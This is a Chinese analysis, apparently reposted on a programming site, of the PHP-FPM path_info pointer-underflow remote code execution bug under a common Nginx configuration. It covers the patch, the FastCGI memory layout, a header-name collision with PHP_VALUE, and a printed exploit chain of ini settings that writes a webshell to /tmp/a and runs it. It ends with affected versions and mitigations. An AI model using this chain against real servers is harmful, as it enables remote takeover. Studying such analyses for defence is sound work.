PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析
本篇内容主要讲解“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”吧!
漏洞概述
PHP-FPM在Nginx特定配置下存在任意代码执行漏洞。具体为:
使用Nginx + PHP-FPM搭建的服务器在使用类似如下配置的nginx.conf时:
1 location ~ [^/]\.php(/|$) {2 fastcgi_split_path_info ^(.+?\.php)(/.*)$;3 fastcgi_param PATH_INFO $fastcgi_path_info;4 fastcgi_pass php:9000;5 ...
Nginx中fastcgi_split_path_info
在处理存在"\n"(%oA) 的path_info时,会将传递给PHP-FPM的PATH_INFO置为空(PATH_INFO=""
),影响关键指针的指向,导致后续path_info[0]=0
的置零操作位置可控,通过构造特定长度和内容的请求,可以覆盖写特定位置数据,插入特定环境变量,进而导致代码执行。
漏洞分析
首先,分析其补丁:在进行request_info
结构体初始化的static void init_request_info(void)
函数中,增添对pilen 和slen的大小校验,规避了指针的非预期回溯移动。
1 // php-class="lazy" data-src/sapi/fpm/fpm/fpm_main.c 2 ... 3 if (pt) { 4 while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { 5 // 对传入PATH_INFO 进行校验。通过判断文件状态,获取真实PATH_INFO 6 *ptr = 0; 7 f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) { 8 int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH 9 int slen = len - ptlen; //script length10 int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info 长度 011 int tflag = 0;12 char *path_info;1314 if (apache_was_here) {15 16 path_info = script_path_translated + ptlen;17 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));18 } else {19 - path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 通过偏移设置新env_path_info,但是未对偏移量做校验20 - tflag = (orig_path_info != path_info);21 + path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;22 + tflag = path_info && (orig_path_info != path_info);23 }2425 if (tflag) {26 if (orig_path_info) {27 char old;2829 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);30 old = path_info[0];31 path_info[0] = 0; //置零操作32 if (!orig_script_name ||33 strcmp(orig_script_name, env_path_info) != 0) {34 if (orig_script_name) {35 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//触发入口36 }37 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);38 } else {39 SG(request_info).request_uri = orig_script_name;40 }41 path_info[0] = old;42 }43 ...
其中
1 //以http://localhost/info.php/test?a=b为例 2 PATH_INFO=/test 3 PATH_TRANSLATED=/docroot/info.php/test 4 SCRIPT_NAME=/info.php 5 REQUEST_URI=/info.php/test?a=b 6 SCRIPT_FILENAME=/docroot/info.php 7 QUERY_STRING=a=b 8 9 pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test"10 len = script_path_translated_len // 为"/docroot/info.php/test"1112 // 经过重新计算处理后13 int ptlen = strlen(pt); // strlen("/docroot/info.php")14 int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test"15 int slen = len - ptlen; // len("/test")1617 path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移为0 或 -N
可见,当PATH_INFO为空时,path_info 指向发生向前偏移,偏移长度为test
的长度。进而path_info[0] = 0;
可以将特定位置 单字节置零。但是,普通位置的置零并不会造成RCE,进一步利用需要将特定控制位置零,且该控制位恰巧能控制写入位置。request->env->data->pos
便是这样一处位置。这里需要说明一下各变量的存储方式。
通过fastcgi协议传入的各环境变量会存储到_fcgi_request->env 这个fcgi_hash结构体中,供后续执行取用,结构具体定义如下:
1 // php-class="lazy" data-src/sapi/fpm/fpm/fastcgi.c 2 typedef struct _fcgi_hash_bucket { 3 unsigned int hash_value; 4 unsigned int var_len; 5 char *var; 6 unsigned int val_len; 7 char *val; 8 struct _fcgi_hash_bucket *next; 9 struct _fcgi_hash_bucket *list_next;10 } fcgi_hash_bucket;1112 typedef struct _fcgi_hash_buckets {13 unsigned int idx;14 struct _fcgi_hash_buckets *next;15 struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];16 } fcgi_hash_buckets;1718 typedef struct _fcgi_data_seg {19 char *pos;20 char *end;21 struct _fcgi_data_seg *next;22 char data[1];23 } fcgi_data_seg;2425 typedef struct _fcgi_hash {26 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];27 fcgi_hash_bucket *list;28 fcgi_hash_buckets *buckets;29 fcgi_data_seg *data;30 } fcgi_hash;31 ...32 33 //初始化操作34 static void fcgi_hash_init(fcgi_hash *h)35 {36 memset(h->hash_table, 0, sizeof(h->hash_table));37 h->list = NULL;38 h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));39 h->buckets->idx = 0;40 h->buckets->next = NULL;41 h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 默认分配 (4*8 - 1) + 409642 h->data->pos = h->data->data; //指向环境变量初始写入位置43 h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾44 h->data->next = NULL;45 }46 ...
其中我们主要关注其中的get/set操作,实现如下:
1 static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len) 2 // 关联 FCGI_GETENV() 3 { 4 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; 5 fcgi_hash_bucket *p = h->hash_table[idx]; 6 7 while (p != NULL) { 8 //需要hast_value值相同,var_len相同才能取出值 9 if (p->hash_value == hash_value &&10 p->var_len == var_len &&11 memcmp(p->var, var, var_len) == 0) {12 *val_len = p->val_len;13 return p->val;14 }15 p = p->next;16 }17 return NULL;18 }1920 static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)21 // 关联 FCGI_PUTENV()22 {23 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 计算hash_value确定 index24 fcgi_hash_bucket *p = h->hash_table[idx]; //获取原有hash_table中的对应值2526 while (UNEXPECTED(p != NULL)) {27 if (UNEXPECTED(p->hash_value == hash_value) &&28 p->var_len == var_len &&29 memcmp(p->var, var, var_len) == 0) {3031 p->val_len = val_len;32 p->val = fcgi_hash_strndup(h, val, val_len);33 return p->val;34 }35 p = p->next;36 }3738 if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {39 fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));40 b->idx = 0;41 b->next = h->buckets;42 h->buckets = b;43 }4445 p = h->buckets->data + h->buckets->idx;46 h->buckets->idx++;47 p->next = h->hash_table[idx];48 h->hash_table[idx] = p;49 p->list_next = h->list;50 h->list = p;5152 p->hash_value = hash_value;53 p->var_len = var_len;54 p->var = fcgi_hash_strndup(h, var, var_len);55 p->val_len = val_len;56 p->val = fcgi_hash_strndup(h, val, val_len);57 return p->val;58 }5960 static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)61 // 实际操作request->env->data,进行数据写入。62 {63 char *ret;6465 if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {66 //如果准备写入的数据长度大于当前指向的fcgi_hash_seg大小,则向前插入新的fcgi_hash_seg67 unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//较长值,不跨越两个seg进行写入。68 fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);69 p->pos = p->data;70 p->end = p->pos + seg_size;71 p->next = h->data;72 h->data = p;73 }7475 ret = h->data->pos;76 memcpy(ret, str, str_len); //于h->data->pos后写入数据77 ret[str_len] = 0;78 h->data->pos += str_len + 1; //后移h->data->pos到新的可写入位置79 return ret;80 }
由此,我们可以得出:request->env->data->pos
的指向直接影响我们环境变量Key,Value的写入位置,只要我们控制了char* pos
的指向,就可能覆盖已有的数据。但是,要想达成RCE还存在以下要求及限制:
指针前移受当前fcgi_hash_seg空间结构影响,过短无法将
char* pos
置零,过长会分配到新fcgi_hash_seg空间。(如传递"形如"http://127.0.0.1/Somefile_exits/AAAAA.php/"也可造成指针后移,)path_info[0] = 0
仅能将单字节置零,最好为最低位,否则会造成指针位置偏离过多。鉴于条件 2 被覆盖写的地址最低位应为0,且其后为符合条件的可覆盖的环境变量。
被覆盖位置环境变量的key必须与预期写入的key满足:var、hash_value和var_len均相同,才可能被读取。
执行
FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
时,分别写入ORIG_SCRIPT_NAME
、orig_script_name
("ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA")。
相应地,我们可以:
通过控制query_string的长度,使path_info恰好处于新fcgi_hash_seg的data首位,这时我们仅需移动
8+8+8+len("PATH_INFO\0")+N = 34 + N
即可完成对char* pos
的篡改。满足条件1,2的要求。通过自定义
http header
,操纵request header
的长度将预期覆盖的环境变量放置到特定的位置(0x____00+len("ORIG_SCRIPT_NAME")+len("/index.php/"))。满足条件3,5要求。(在NGINX中,HTTP中的请求头会以"HTTP_XXX"的形式传入PHP-FPM,随后写入到request-env
中)Exp作者提供了
EBUT
这个自定义头,其env变量名HTTP_EBUT
与PHP_VALUE
在长度和hash_value方面相等,且PHP_VALUE
会在后续处理中被尝试读取(ini = FCGI_GETENV(request, "PHP_VALUE");
)。满足条件4的要求。
除此之外,鉴于PATH_INFO重新取值部分逻辑主要是处理PATH_INFO与真实path_info不同的情况,对开头提及的nginx配置项,存在一种情况,发起形如http://localhost/index/info.php/test?a=b
的url,可以构造以下场景
1 //以http://localhost/index/info.php/test?a=b为例,index为存在的文件 2 PATH_INFO=/test 3 PATH_TRANSLATED=/docroot/index/info.php/test 4 SCRIPT_NAME=/index/info.php 5 REQUEST_URI=/index/info.php/test?a=b 6 SCRIPT_FILENAME=/docroot/index/info.php 7 QUERY_STRING=a=b 8 9 pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test"10 len = script_path_translated_len // 为"/docroot/index/info.php/test"1112 // 经过重新计算处理后13 int ptlen = strlen(pt); // strlen("/docroot/index")14 int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test"15 int slen = len - ptlen; // len("/info.php/test ")1617 path_info = env_path_info + pilen - slen; // pilen < slen, 即偏移为-N
此时URL中无需存在%0A
,亦可完成指针移位,漏洞过程与上述类似,但是因为script_name无效,无法直观显示攻击状态,利用难度较高,不再赘述。
path_info指向了request->env->data->pos后的内存布局
漏洞利用
Exp作者利用PHP_VALUE
向PHP传递多个环境变量,使PHP产生错误,以错误日志的形式将webshell输出到/tmp/a,并通过auto_prepend_file自动执行/tmp/a中的恶意代码,达成getshell。
1 var chain = []string{ 2 "short_open_tag=1", //开启php短标签 3 "html_errors=0", // 在错误信息中关闭HTML标签。 4 "include_path=/tmp", //包含路径 5 "auto_prepend_file=a", //指定脚本执行前自动包含的文件,功能类似require()。 6 "log_errors=1", //使能错误日志 7 "error_reporting=2", //指定错误级别 8 "error_log=/tmp/a", //错误日志记录文件 9 "extension_dir=\"<?=\`\"", //指定extension的加载目录10 "extension=\"$_GET[a]\`?>\"", //指定加载的extension11 }
影响范围
在文初提到的配置下,该漏洞影响以下版本的PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11
漏洞修复
可以通过 Nginx 增添配置try_files %uri = 404
php设置cgi.fix_pathinfo=0
选项,临时规避漏洞影响。也可以选择使用官方已经释出的更新进行完全修复。
到此,相信大家对“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”有了更深的了解,不妨来实际操作一番吧!这里是编程网网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341